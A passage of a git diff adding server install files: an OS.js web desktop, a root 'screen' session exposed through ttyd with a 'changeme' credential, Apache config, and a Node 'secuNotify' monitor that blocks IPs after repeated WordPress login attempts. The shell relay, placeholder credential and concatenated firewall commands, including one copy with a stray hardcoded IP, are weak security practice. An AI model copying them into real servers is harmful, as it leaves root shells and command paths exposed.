= path.resolve(__dirname, '../../'); + +module.exports = { + root, + port: CUSTOM, + public: path.resolve(root, 'dist'), + vfs: { root: '/home' }, + + xterm: { + ssh: { + // Custom hostname + hostname: 'localhost', + + // Custom port + args: '-p 22' + } + } + + + +}; diff --git a/install/osjs/osjs_server_index.js b/install/osjs/osjs_server_index.js new file mode 100644 index 0000000..f5bb828 --- /dev/null +++ b/install/osjs/osjs_server_index.js @@ -0,0 +1,79 @@ +/* + * OS.js - JavaScript Cloud/Web Desktop Platform + * + * Copyright (c) 2011-2020, Anders Evenrud + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * @author Anders Evenrud + * @licence Simplified BSD License + */ + +// +// This is the server bootstrapping script. +// This is where you can register service providers or set up +// your libraries etc. +// +// https://manual.os-js.org/v3/guide/provider/ +// https://manual.os-js.org/v3/install/ +// https://manual.os-js.org/v3/resource/official/ +// + +// In the top of the file load the library +const pamAuth = require('@osjs/pam-auth'); + +const { + Core, + CoreServiceProvider, + PackageServiceProvider, + VFSServiceProvider, + AuthServiceProvider, + SettingsServiceProvider +} = require('@osjs/server'); + +const config = require('./config.js'); +const osjs = new Core(config, {}); + +osjs.register(CoreServiceProvider, {before: true}); +osjs.register(PackageServiceProvider); +osjs.register(VFSServiceProvider); +osjs.register(AuthServiceProvider, { + args: { + adapter: pamAuth + } +}); +osjs.register(SettingsServiceProvider); + + +const shutdown = signal => (error) => { + if (error instanceof Error) { + console.error(error); + } + + osjs.destroy(() => process.exit(signal)); +}; + +process.on('SIGTERM', shutdown(0)); +process.on('SIGINT', shutdown(0)); +process.on('exit', shutdown(0)); + +osjs.boot().catch(shutdown(1)); diff --git a/install/s2l/input.sh b/install/s2l/input.sh new file mode 100644 index 0000000..6f3dfee --- /dev/null +++ b/install/s2l/input.sh @@ -0,0 +1,2 @@ +#!/bin/bash +screen -S s2l -X stuff "${*}^M" diff --git a/install/s2l/s2l-pm2.json b/install/s2l/s2l-pm2.json new file mode 100644 index 0000000..4fbd668 --- /dev/null +++ b/install/s2l/s2l-pm2.json @@ -0,0 +1,12 @@ +{ + "apps": [ + { + "name": "s2l", + "script": "ttyd -R -p changeme screen -x s2l", + "args" : "", + "error_file": "/dev/null", + "log_file": "/dev/null" + + } + ] +} \ No newline at end of file diff --git a/install/s2l/s2l-service.service b/install/s2l/s2l-service.service new file mode 100644 index 0000000..a08bdd5 --- /dev/null +++ b/install/s2l/s2l-service.service @@ -0,0 +1,13 @@ +[Unit] +Description=Screen2Log Backend for CMDBOT.Service +After=network.target +StartLimitIntervalSec=0 +[Service] +Type=simple +Restart=always +RestartSec=1 +User=root +ExecStart=/bin/bash -c 'screen -mdS s2l -s bash' +RemainAfterExit=yes +[Install] +WantedBy=multi-user.target \ No newline at end of file diff --git a/install/secu/apache2.conf b/install/secu/apache2.conf new file mode 100644 index 0000000..e5023f3 --- /dev/null +++ b/install/secu/apache2.conf @@ -0,0 +1,229 @@ +# This is the main Apache server configuration file. It contains the +# configuration directives that give the server its instructions. +# See http://httpd.apache.org/docs/2.4/ for detailed information about +# the directives and /usr/share/doc/apache2/README.Debian about Debian specific +# hints. +# +# +# Summary of how the Apache 2 configuration works in Debian: +# The Apache 2 web server configuration in Debian is quite different to +# upstream's suggested way to configure the web server. This is because Debian's +# default Apache2 installation attempts to make adding and removing modules, +# virtual hosts, and extra configuration directives as flexible as possible, in +# order to make automating the changes and administering the server as easy as +# possible. + +# It is split into several files forming the configuration hierarchy outlined +# below, all located in the /etc/apache2/ directory: +# +# /etc/apache2/ +# |-- apache2.conf +# | `-- ports.conf +# |-- mods-enabled +# | |-- *.load +# | `-- *.conf +# |-- conf-enabled +# | `-- *.conf +# `-- sites-enabled +# `-- *.conf +# +# +# * apache2.conf is the main configuration file (this file). It puts the pieces +# together by including all remaining configuration files when starting up the +# web server. +# +# * ports.conf is always included from the main configuration file. It is +# supposed to determine listening ports for incoming connections which can be +# customized anytime. +# +# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ +# directories contain particular configuration snippets which manage modules, +# global configuration fragments, or virtual host configurations, +# respectively. +# +# They are activated by symlinking available configuration files from their +# respective *-available/ counterparts. These should be managed by using our +# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See +# their respective man pages for detailed information. +# +# * The binary is called apache2. Due to the use of environment variables, in +# the default configuration, apache2 needs to be started/stopped with +# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not +# work with the default configuration. + + +# Global configuration +# + +# +# ServerRoot: The top of the directory tree under which the server's +# configuration, error, and log files are kept. +# +# NOTE! If you intend to place this on an NFS (or otherwise network) +# mounted filesystem then please read the Mutex documentation (available +# at ); +# you will save yourself a lot of trouble. +# +# Do NOT add a slash at the end of the directory path. +# +#ServerRoot "/etc/apache2" + +# +# The accept serialization lock file MUST BE STORED ON A LOCAL DISK. +# +#Mutex file:${APACHE_LOCK_DIR} default + +# +# The directory where shm and other runtime files will be stored. +# + +DefaultRuntimeDir ${APACHE_RUN_DIR} + +# +# PidFile: The file in which the server should record its process +# identification number when it starts. +# This needs to be set in /etc/apache2/envvars +# +PidFile ${APACHE_PID_FILE} + +# +# Timeout: The number of seconds before receives and sends time out. +# +Timeout 300 + +# +# KeepAlive: Whether or not to allow persistent connections (more than +# one request per connection). Set to "Off" to deactivate. +# +KeepAlive On + +# +# MaxKeepAliveRequests: The maximum number of requests to allow +# during a persistent connection. Set to 0 to allow an unlimited amount. +# We recommend you leave this number high, for maximum performance. +# +MaxKeepAliveRequests 100 + +# +# KeepAliveTimeout: Number of seconds to wait for the next request from the +# same client on the same connection. +# +KeepAliveTimeout 5 + + +# These need to be set in /etc/apache2/envvars +User ${APACHE_RUN_USER} +Group ${APACHE_RUN_GROUP} + +# +# HostnameLookups: Log the names of clients or just their IP addresses +# e.g., www.apache.org (on) or 204.62.129.132 (off). +# The default is off because it'd be overall better for the net if people +# had to knowingly turn this feature on, since enabling it means that +# each client request will result in AT LEAST one lookup request to the +# nameserver. +# +HostnameLookups Off + +# ErrorLog: The location of the error log file. +# If you do not specify an ErrorLog directive within a +# container, error messages relating to that virtual host will be +# logged here. If you *do* define an error logfile for a +# container, that host's errors will be logged there and not here. +# +ErrorLog ${APACHE_LOG_DIR}/error.log + +# +# LogLevel: Control the severity of messages logged to the error_log. +# Available values: trace8, ..., trace1, debug, info, notice, warn, +# error, crit, alert, emerg. +# It is also possible to configure the log level for particular modules, e.g. +# "LogLevel info ssl:warn" +# +LogLevel warn + +# Include module configuration: +IncludeOptional mods-enabled/*.load +IncludeOptional mods-enabled/*.conf + +# Include list of ports to listen on +Include ports.conf + + +# Sets the default security model of the Apache2 HTTPD server. It does +# not allow access to the root filesystem outside of /usr/share and /var/www. +# The former is used by web applications packaged in Debian, +# the latter may be used for local directories served by the web server. If +# your system is serving content from a sub-directory in /srv you must allow +# access here, or in any related virtual host. + + Options FollowSymLinks + AllowOverride All + Require all denied + + + + AllowOverride All + Require all granted + + + + Options Indexes FollowSymLinks + AllowOverride All + Require all granted + + +# +# Options Indexes FollowSymLinks +# AllowOverride All +# Require all granted +# + + + + +# AccessFileName: The name of the file to look for in each directory +# for additional configuration directives. See also the AllowOverride +# directive. +# +AccessFileName .htaccess + +# +# The following lines prevent .htaccess and .htpasswd files from being +# viewed by Web clients. +# + + Require all denied + + + +# +# The following directives define some format nicknames for use with +# a CustomLog directive. +# +# These deviate from the Common Log Format definitions in that they use %O +# (the actual bytes sent including headers) instead of %b (the size of the +# requested file), because the latter makes it impossible to detect partial +# requests. +# +# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended. +# Use mod_remoteip instead. +# +LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined +#LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined +LogFormat "%{X-Forwarded-For}i %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined +LogFormat "%h %l %u %t \"%r\" %>s %O" common +LogFormat "%{Referer}i -> %U" referer +LogFormat "%{User-agent}i" agent + +# Include of directories ignores editors' and dpkg's backup files, +# see README.Debian for details. + +# Include generic snippets of statements +IncludeOptional conf-enabled/*.conf + +# Include the virtual host configurations: +IncludeOptional sites-enabled/*.conf + +# vim: syntax=apache ts=4 sw=4 sts=4 sr noet +serverName secuNotifyHTTP diff --git a/install/secu/build b/install/secu/build new file mode 100644 index 0000000..0d7317b --- /dev/null +++ b/install/secu/build @@ -0,0 +1,160 @@ +// Lets use some libs to help us out. +const fs = require('fs') +Tail = require('tail').Tail; + +sshTail = new Tail("/var/log/auth.log"); +wpTail = new Tail("/var/log/apache2/access.log"); +const cmd = require('cmd-promise') + +// Setting up our main storage logic - for now this program does not use a database system. +let serverStatusCount = 0; +let attackData = [] +let blockedIPs = [] +let ipToBlock + +console.log("Welcome to the security notification system secuNotify by Discord-Linux!"); +console.log("We currently will notify you about login events, such as failed logins and successful logins."); + +// Setting up our notification function - This allows us to direct message our user. +function notify(message) { + const { spawn } = require('child_process'); + const notif = spawn('notif', [message]); + + notif.stdout.on('data', (data) => { + console.log(`stdout: ${data}`); + }); + + notif.stderr.on('data', (data) => { + console.error(`stderr: ${data}`); + }); + + notif.on('close', (code) => { + console.log(`Code: ${code} - Continuing to monitor`); + }); +} + +function listenAuthLog(logLocation) { + sshTail.on("line", function (info) { + let infoString = info.toString(); + + if (infoString.includes("Failed password for root")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info); + } + + if (infoString.includes("Accepted password for")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info + "This does mean that someone (Maybe you) has logged in successfully!"); + } + if (infoString.includes("Invalid user")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info + "This means that someone (Maybe you) has tried to login with an invalid username!"); + } + }) + + ; +} + +function listenWPLog(logLocation) { + // Check to see if we are a wordpress user, if so, activate the wordpress notification service + const wpLog = '/var/www/html/wp-config.php' + if (fs.existsSync(wpLog)) console.log("We are a wordpress user, activating wordpress notification service"); + try { + if (fs.existsSync(wpLog)) { + // Tail Logs section, if we have a lot, it will have a listeniner below. + wpTail.on("line", function (info) { + + // Convert Data to String + let requestInfo = info.toString() + // FIND IP Address from this request + var ipRegEx = /\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b/; // RegEx IPAddress Format + var ipRegExMatched = requestInfo.match(ipRegEx); // Set up our match + let remoteIP = ipRegExMatched[0] // Set our var + + // // Grab the whitelist + // let whitelistData = process.env.WHITELIST + // let whitelist = whitelistData.split(",") + + // // If an IP is found to be in the whitelist, return as to do nothing. + // for (const [key, value] of Object.entries(whitelist)) { + // if (value === remoteIP) return + // } + + // Filtering out any server-status requests - These are annoying. + if (requestInfo.includes("server-status")) { + // Add to the server status count so we may keep track of these requests. + serverStatusCount++ + // Lets return the data as no not proceed with any further code, as it is not needed. + // We return to stdout here to update the cli without adding a new line line a clock + return process.stdout.write("Server Status Count: " + serverStatusCount + "\r"); + } + + // If request contans wp-login lets process its request + if (requestInfo.includes("wp-login.php")) { + // Lets start the process of logging attack attempts to determine request intent. + // Over the threshhold here will automatically CSF D the IP Address. + // In this simple version, we will just log each IP Address as they come in within an array + // We will then roll and count this array after each detection to determine the IPs intent. + console.log("---------\nWP LOGIN REQUEST DETECTED!\n---------") + console.log(info + "\n----------"); + attackData.push(remoteIP) + + // Lets count the attack data per IP Address to ensure its logged properly. + var counts = {}; + + // For each IP Address recorded into the main attackData array, count them and see outmany bad requests they have made. + attackData.forEach(function (x) { + // Add a point for each entry + counts[x] = (counts[x] || 0) + 1; + // + for ([key, value] of Object.entries(counts)) { + // If the count has hit the blockON Count we start the blocking process + + if (counts[x] == 5) { + // Preserve the key for later blocklist addition + ipToBlock = key + + // Check the already blocked IPs - If the remoteIP is in the list do nothing + if (blockedIPs.includes(key)) { + return + + } else { + // The remoteIP is not listed, lets add it. + blockedIPs.push(ipToBlock) + // Let the log know we are blocking the IP + console.log("Starting to block bad IP") + // Run the block, wait for the promise - Requests are still going on + cmd(`/var/tools/firewallctl 123.123.123.123 ` + key + " WP-Login Brute Force Blocked Via secuNotify").then(out => { + notify("secuNotify Service Alert: \n " + key + " has been blocked for 5 bad wordpress login attempts!"); + + // The block has finished - remoteIP no longer has access + }).catch(err => { + // IF we see an error, give its output + console.log('CSF Error: ', err) + }).then(out2 => { + // Set IPBLOCK to null for a reset and start scanning for new attacks + ipToBlock = null; + console.log("Attack Stopped, Looking for new attacks....") + + + }) + } + } + } + + }); + + // Live view of the counts + console.log(counts) + + } + }) + } + } catch (err) { + console.log(err) + } +} + + +listenAuthLog("/var/log/auth.log") +listenWPLog("/var/log/apache2/access.log") diff --git a/install/secu/csf b/install/secu/csf new file mode 100755 index 0000000..153987c Binary files /dev/null and b/install/secu/csf differ diff --git a/install/secu/make/new b/install/secu/make/new new file mode 100755 index 0000000..421d62e Binary files /dev/null and b/install/secu/make/new differ diff --git a/install/secu/make/new.js b/install/secu/make/new.js new file mode 100644 index 0000000..771e21d --- /dev/null +++ b/install/secu/make/new.js @@ -0,0 +1,180 @@ +// Lets use some libs to help us out. +const fs = require('fs') +Tail = require('tail').Tail; + +sshTail = new Tail("/var/log/auth.log"); +const cmd = require('cmd-promise') + +// Setting up our main storage logic - for now this program does not use a database system. +let serverStatusCount = 0; +let attackData = [] +let blockedIPs = [] +let ipToBlock + +console.log("Welcome to the security notification system secuNotify by Discord-Linux!"); +console.log("We currently will notify you about login events, such as failed logins and successful logins."); + +// Setting up our notification function - This allows us to direct message our user. +function notify(message) { + const { spawn } = require('child_process'); + const notif = spawn('notif', [message]); + + notif.stdout.on('data', (data) => { + console.log(`stdout: ${data}`); + }); + + notif.stderr.on('data', (data) => { + console.error(`stderr: ${data}`); + }); + + notif.on('close', (code) => { + console.log(`Code: ${code} - Continuing to monitor`); + }); +} + +function listenAuthLog(logLocation) { + sshTail.on("line", function (info) { + let infoString = info.toString(); + + if (infoString.includes("Failed password for root")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info); + } + + if (infoString.includes("Accepted password for")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info + "This does mean that someone (Maybe you) has logged in successfully!"); + } + if (infoString.includes("Invalid user")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info + "This means that someone (Maybe you) has tried to login with an invalid username!"); + } + }) + + ; +} + +function listenWPLog(logLocation) { + // Check to see if we are a wordpress user, if so, activate the wordpress notification service + try { + if (fs.existsSync("/var/www/html/wp-config.php")) { + console.log("We are a wordpress user, activating wordpress notification service"); + + // Tail Logs section, if we have a lot, it will have a listeniner below. + wpTail.on("line", function (info) { + + // Convert Data to String + let requestInfo = info.toString() + // FIND IP Address from this request + var ipRegEx = /\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b/; // RegEx IPAddress Format + var ipRegExMatched = requestInfo.match(ipRegEx); // Set up our match + let remoteIP = ipRegExMatched[0] // Set our var + + // // Grab the whitelist + // let whitelistData = process.env.WHITELIST + // let whitelist = whitelistData.split(",") + + // // If an IP is found to be in the whitelist, return as to do nothing. + // for (const [key, value] of Object.entries(whitelist)) { + // if (value === remoteIP) return + // } + + // Filtering out any server-status requests - These are annoying. + if (requestInfo.includes("server-status")) { + // Add to the server status count so we may keep track of these requests. + serverStatusCount++ + // Lets return the data as no not proceed with any further code, as it is not needed. + // We return to stdout here to update the cli without adding a new line line a clock + return process.stdout.write("Server Status Count: " + serverStatusCount + "\r"); + } + + // If request contans wp-login lets process its request + if (requestInfo.includes("wp-login.php") && requestInfo.includes("POST")) { + // Lets start the process of logging attack attempts to determine request intent. + // Over the threshhold here will automatically CSF D the IP Address. + // In this simple version, we will just log each IP Address as they come in within an array + // We will then roll and count this array after each detection to determine the IPs intent. + console.log("---------\nWP LOGIN REQUEST DETECTED!\n---------") + console.log(info + "\n----------"); + attackData.push(remoteIP) + + // Lets count the attack data per IP Address to ensure its logged properly. + var counts = {}; + + // For each IP Address recorded into the main attackData array, count them and see outmany bad requests they have made. + attackData.forEach(function (x) { + // Add a point for each entry + counts[x] = (counts[x] || 0) + 1; + // + for ([key, value] of Object.entries(counts)) { + // If the count has hit the blockON Count we start the blocking process + + if (counts[x] === 5) { + console.log("counts: " + counts[x]) + counts = {} + + + // Preserve the key for later blocklist addition + ipToBlock = key + + // Check the already blocked IPs - If the remoteIP is in the list do nothing + if (blockedIPs.includes(key)) { + return + + } else { + // The remoteIP is not listed, lets add it. + blockedIPs.push(ipToBlock) + // Let the log know we are blocking the IP + console.log("Starting to block bad IP") + // Run the block, wait for the promise - Requests are still going on + cmd(`/var/tools/firewallctl ` + key + " WP-Login Brute Force Blocked Via secuNotify").then(out => { + notify("secuNotify Service Alert:\n " + key + " has been blocked for 5 bad wordpress login attempts!"); + + // The block has finished - remoteIP no longer has access + }).catch(err => { + // IF we see an error, give its output + console.log('CSF Error: ', err) + }).then(out2 => { + // Set IPBLOCK to null for a reset and start scanning for new attacks + ipToBlock = null; + console.log("Attack Stopped, Looking for new attacks....") + // Live view of the counts + }) + + + if (blockedIPs.length == 0) { + console.log("No IPs have been blocked yet.") + } else { + console.log("Blocked IP List (Since Service start): " + blockedIPs) + } + } + } + } + + }); + + + } + }) + } + } catch (err) { + console.log(err) + } +} + + +listenAuthLog("/var/log/auth.log") + +fs.exists("/var/log/apache2/access.log", function (isExist) { + if (isExist) { + wpTail = new Tail("/var/log/apache2/access.log"); + listenWPLog("/var/log/apache2/access.log") + } else { + console.log("ApacheHTTP Server is not installed, not enabling WP protection."); + } +}); + + + + + diff --git a/install/secu/make/node_modules/.package-lock.json b/install/secu/make/node_modules/.package-lock.json new file mode 100644 index 0000000..180c9f6 --- /dev/null +++ b/install/secu/make/node_modules/.package-lock.json @@ -0,0 +1,20 @@ +{ + "name": "make", + "lockfileVersion": 2, + "requires": true, + "packages": { + "node_modules/cmd-promise": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/cmd-promise/-/cmd-promise-1.2.0.tgz", + "integrity": "sha1-PPUTIiAZi1HBbakt44ag03Q9u1w=" + }, + "node_modules/tail": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/tail/-/tail-2.2.4.tgz", + "integrity": "sha512-PX8klSxW1u3SdgDrDeewh5GNE+hkJ4h02JvHfV6YrHqWOVJ88nUdSQqtsUf/gWhgZlPAws3fiZ+F1f8euspcuQ==", + "engines": { + "node": ">= 6.0.0" + } + } + } +} diff --git a/install/secu/make/node_modules/cmd-promise/.npmignore b/install/secu/make/node_modules/cmd-promise/.npmignore new file mode 100644 index 0000000..54b4736 --- /dev/null +++ b/install/secu/make/node_modules/cmd-promise/.npmignore @@ -0,0 +1,6 @@ + +node_modules/ +Thumbs.db +ehthumbs.db +Desktop.ini +$RECYCLE.BIN/ diff --git a/install/secu/make/node_modules/cmd-promise/README.md b/install/secu/make/node_modules/cmd-promise/README.md new file mode 100644 index 0000000..511f4a4 --- /dev/null +++ b/install/secu/make/node_modules/cmd-promise/README.md @@ -0,0 +1,164 @@ + +# CMD Promise + +Node command line interface with a simple Promise based API. + +[![JavaScript Style Guide](https://img.shields.io/badge/code%20style-standard-brightgreen.svg)](http://standardjs.com/) +[![Version](https://img.shields.io/npm/v/cmd-promise.svg)](https://www.npmjs.com/package/cmd-promise) +[![Downloads](https://img.shields.io/npm/dt/cmd-promise.svg)](https://www.npmjs.com/package/cmd-promise) + +Inspired by [node-cmd](https://github.com/RIAEvangelist/node-cmd). + +## Features + +- Simple Promise based API. +- Single or multiple commands in one call. +- Passes the [`exec()`](https://nodejs.org/api/child_process.html#child_process_child_process_exec_command_options_callback) node options through. +- Returns an `object` containing both `stdout` and `stderr`. +- Optionally return the [child process](https://nodejs.org/api/child_process.html#child_process_class_childprocess) instead of the output. +- Zero dependencies. + +## Requirments + +Uses native node promises (including `Promise.all` with generic iterables) so requires at least node version 4.0.0. See [http://node.green/](http://node.green/#ES2015-built-ins-Promise). + +## Install + +`npm install cmd-promise` + +## Examples + +### Single command + +```js +const cmd = require('cmd-promise') + +cmd(`node -v`).then(out => { + console.log('out =', out) +}).catch(err => { + console.log('err =', err) +}) + +// out = { stdout: 'v4.2.2\r\n', stderr: '' } +``` + +### Multiple commands + +```js +const cmd = require('cmd-promise') + +const commands = ` + node -v + npm -v +` + +cmd(commands).then(out => { + console.log('out =', out) +}).catch(err => { + console.log('err =', err) +}) + +// out = [ { stdout: 'v4.2.2\r\n', stderr: '' }, { stdout: '4.4.1\n', stderr: '' } ] +// out[0].stdout = v4.2.2 +``` + +### More involved example + +```js +const semver = require('semver') // https://github.com/npm/node-semver +const cmd = require('cmd-promise') + +const commands = ` + npm view npm version + npm -v +` + +cmd(commands).then(out => { + return { + npm: out[0].stdout.replace(/\n/g, ''), + me: out[1].stdout.replace(/\n/g, '') + } +}).then(versions => { + if (semver.lt(versions.me, versions.npm)) { + console.log(`My npm version is out of date (npm install npm@latest -g).`) + } else { + console.log(`My npm version is up to date! :-)`) + } +}).catch(err => { + console.log('err =', err) +}) +``` + +### Return the child process instead + +```js +const cmd = require('../cmd-promise') + +const options = { returnProcess: true } + +cmd(`node -v`, options).then(childProcess => { + console.log('pid =', childProcess.pid) + childProcess.stdout.on('data', stdout => { + console.log('stdout =', stdout) + }) + childProcess.stderr.on('data', stderr => { + console.log('stderr =', stderr) + }) +}).catch(err => { + console.log('err =', err) +}) +``` + +### Pass exec() options + +Pass [`child_process.exec()`](https://nodejs.org/api/child_process.html#child_process_child_process_exec_command_options_callback) options as defined in the node docs. + +```js +const cmd = require('../cmd-promise') + +const execOptions = { timeout: 1000 } + +cmd(`node -v`, {}, execOptions).then(out => { + console.log('out =', out) +}).catch(err => { + console.log('err =', err) +}) +``` + +## API + +`cmd(commands [,options] [,execOptions]) -> Promise` + +- **commands** (string) Single or multiple line string of commands to execute. +- **options** (object) + - `returnProcess` (boolean) Return the child process instead of waiting on and returning the outcome. Default is `false`. +- **execOptions** (object) Options as passed to the [`exec()`](https://nodejs.org/api/child_process.html#child_process_child_process_exec_command_options_callback) method of the [child_process](https://nodejs.org/api/child_process.html) node module. + +Returns a Promise. + +For **single** commands the promises return value is an `object` containing `stdout` and `stderr` properties. If `options.returnProcess` is set to `true` the return value is the [child process](https://nodejs.org/api/child_process.html#child_process_class_childprocess) instead. + +```js +const cmd = require('cmd-promise') + +cmd(`node -v`).then(out => { + console.log('out.stdout =', out.stdout) // v4.2.2 + console.log('out.stderr =', out.stderr) +}) +``` + +For **multiple line** command calls the promises return value is an array of `object`'s containing `stdout` and `stderr` properties. If `options.returnProcess` is set to `true` the return value is an array of [child processes](https://nodejs.org/api/child_process.html#child_process_class_childprocess) instead. + +```js +const cmd = require('cmd-promise') + +const commands = ` + node -v + npm -v +` + +cmd(commands).then(out => { + console.log('out[0] =', out[0]) // result from 'node -v' + console.log('out[1] =', out[1]) // result from 'npm -v' +}) +``` diff --git a/install/secu/make/node_modules/cmd-promise/cmd-promise.js b/install/secu/make/node_modules/cmd-promise/cmd-promise.js new file mode 100644 index 0000000..ed08f41 --- /dev/null +++ b/install/secu/make/node_modules/cmd-promise/cmd-promise.js @@ -0,0 +1,88 @@ + +const exec = require('child_process').exec + +/** + * does the given object have the given property + * @param {object} obj object to check. + * @param {string} prop property to check for. + * @return Boolean + */ +function hasProp (obj, prop) { + return obj.hasOwnProperty(prop) +} + +/** + * is this a string please sir? + * @param {string} str string (or is it?) to check. + * @return Boolean + */ +function isString (str) { + return (typeof str === 'string' || str instanceof String) +} + +/** + * wrapper for child_process.exec() + * @param {string} command command line command to run. + * @param {object} options cmd-promise options. + * @param {object} execOptions exec() options object as outlined in the node docs. + * @return Promise + */ +function runCommand (command, options, execOptions) { + // defaults + if (!options) { options = {} } + if (!execOptions) { execOptions = {} } + + // resolve to the child process? + const returnProcess = hasProp(options, 'returnProcess') ? options.returnProcess : false + + return new Promise((resolve, reject) => { + if (returnProcess) { + // resolve to the child process, don't wait for the output + resolve(exec(command, execOptions)) + } else { + // resolve to the output, using the callback + exec(command, execOptions, (error, stdout, stderr) => { + if (error) { return reject(error) } + resolve({ stdout, stderr }) + }) + } + }) +} + +/** + * run one or many commands + * @param {string} commands command line command(s) string to run. + * @param {object} options options object as outlined in the node docs. + * @return Promise + */ +function cmdPromise (commands, options, execOptions) { + // make sure the command is a string + if (!isString(commands)) { + return Promise.reject(new Error('Command not a string.')) + } + + // do we have multiple lines? + if (commands.indexOf('\n') > -1) { + // split by new lines + const arrSplit = commands.split(/\n/g) + + // remove empty array elements + const arrFiltered = arrSplit.filter(ele => ele.length) + + // trim each array element + const arrTrimmed = arrFiltered.map(ele => ele.trim()) + + // array of command promises + const arrOut = arrTrimmed.map(command => { + return runCommand(command, options, execOptions) + }) + + // multiple lines, return an array of outs + return Promise.all(arrOut) + } else { + // one line, run it + return runCommand(commands, options, execOptions) + } +} + +module.exports = cmdPromise diff --git a/install/secu/make/node_modules/cmd-promise/package.json b/install/secu/make/node_modules/cmd-promise/package.json new file mode 100644 index 0000000..d84741b --- /dev/null +++ b/install/secu/make/node_modules/cmd-promise/package.json @@ -0,0 +1,21 @@ +{ + "name": "cmd-promise", + "version": "1.2.0", + "description": "Node command line interface with a simple Promise based API.", + "main": "cmd-promise.js", + "scripts": { + "test": "" + }, + "author": { + "name": "Stephen Last", + "email": "stephen.last@gmail.com" + }, + "license": "MIT", + "devDependencies": { + "semver": "^5.3.0" + }, + "repository": { + "type": "git", + "url": "https://github.com/stephen-last/cmd-promise.git" + } +} diff --git a/install/secu/make/node_modules/cmd-promise/test/my-npm-version.js b/install/secu/make/node_modules/cmd-promise/test/my-npm-version.js new file mode 100644 index 0000000..d9965d0 --- /dev/null +++ b/install/secu/make/node_modules/cmd-promise/test/my-npm-version.js @@ -0,0 +1,25 @@ + +const semver = require('semver') +const cmd = require('../cmd-promise') + +console.log('cmd-promise: More involved example.') + +const commands = ` + npm view npm version + npm -v +` + +cmd(commands).then(out => { + return { + npm: out[0].stdout.replace(/\n/g, ''), + me: out[1].stdout.replace(/\n/g, '') + } +}).then(versions => { + if (semver.lt(versions.me, versions.npm)) { + console.log(`My npm version is out of date (npm install npm@latest -g).`) + } else { + console.log(`My npm version is up to date! :-)`) + } +}).catch(err => { + console.log('err =', err) +}) diff --git a/install/secu/make/node_modules/cmd-promise/test/process.js b/install/secu/make/node_modules/cmd-promise/test/process.js new file mode 100644 index 0000000..c7f5ca3 --- /dev/null +++ b/install/secu/make/node_modules/cmd-promise/test/process.js @@ -0,0 +1,18 @@ + +const cmd = require('../cmd-promise') + +console.log('cmd-promise: Return child process instead of output.') + +const options = { returnProcess: true } + +cmd(`node -v`, options).then(childProcess => { + console.log('pid =', childProcess.pid) + childProcess.stdout.on('data', stdout => { + console.log('stdout =', stdout) + }) + childProcess.stderr.on('data', stderr => { + console.log('stderr =', stderr) + }) +}).catch(err => { + console.log('err =', err) +}) diff --git a/install/secu/make/node_modules/cmd-promise/test/simple.js b/install/secu/make/node_modules/cmd-promise/test/simple.js new file mode 100644 index 0000000..a9a5a1d --- /dev/null +++ b/install/secu/make/node_modules/cmd-promise/test/simple.js @@ -0,0 +1,17 @@ + +const cmd = require('../cmd-promise') + +console.log('cmd-promise: One or multiple commands.') + +// const single = `node -v` + +const multiple = ` + node -v + npm -v +` + +cmd(multiple).then(out => { + console.log('out =', out) +}).catch(err => { + console.log('err =', err) +}) diff --git a/install/secu/make/node_modules/tail/.github/FUNDING.yml b/install/secu/make/node_modules/tail/.github/FUNDING.yml new file mode 100644 index 0000000..025f67b --- /dev/null +++ b/install/secu/make/node_modules/tail/.github/FUNDING.yml @@ -0,0 +1,3 @@ +# These are supported funding model platforms + +github: lucagrulla diff --git a/install/secu/make/node_modules/tail/.github/dependabot.yml b/install/secu/make/node_modules/tail/.github/dependabot.yml new file mode 100644 index 0000000..67c661a --- /dev/null +++ b/install/secu/make/node_modules/tail/.github/dependabot.yml @@ -0,0 +1,7 @@ +version: 2 +updates: +- package-ecosystem: npm + directory: "/" + schedule: + interval: monthly + open-pull-requests-limit: 10 diff --git a/install/secu/make/node_modules/tail/.github/workflows/codeql-analysis.yml b/install/secu/make/node_modules/tail/.github/workflows/codeql-analysis.yml new file mode 100644 index 0000000..038ac38 --- /dev/null +++ b/install/secu/make/node_modules/tail/.github/workflows/codeql-analysis.yml @@ -0,0 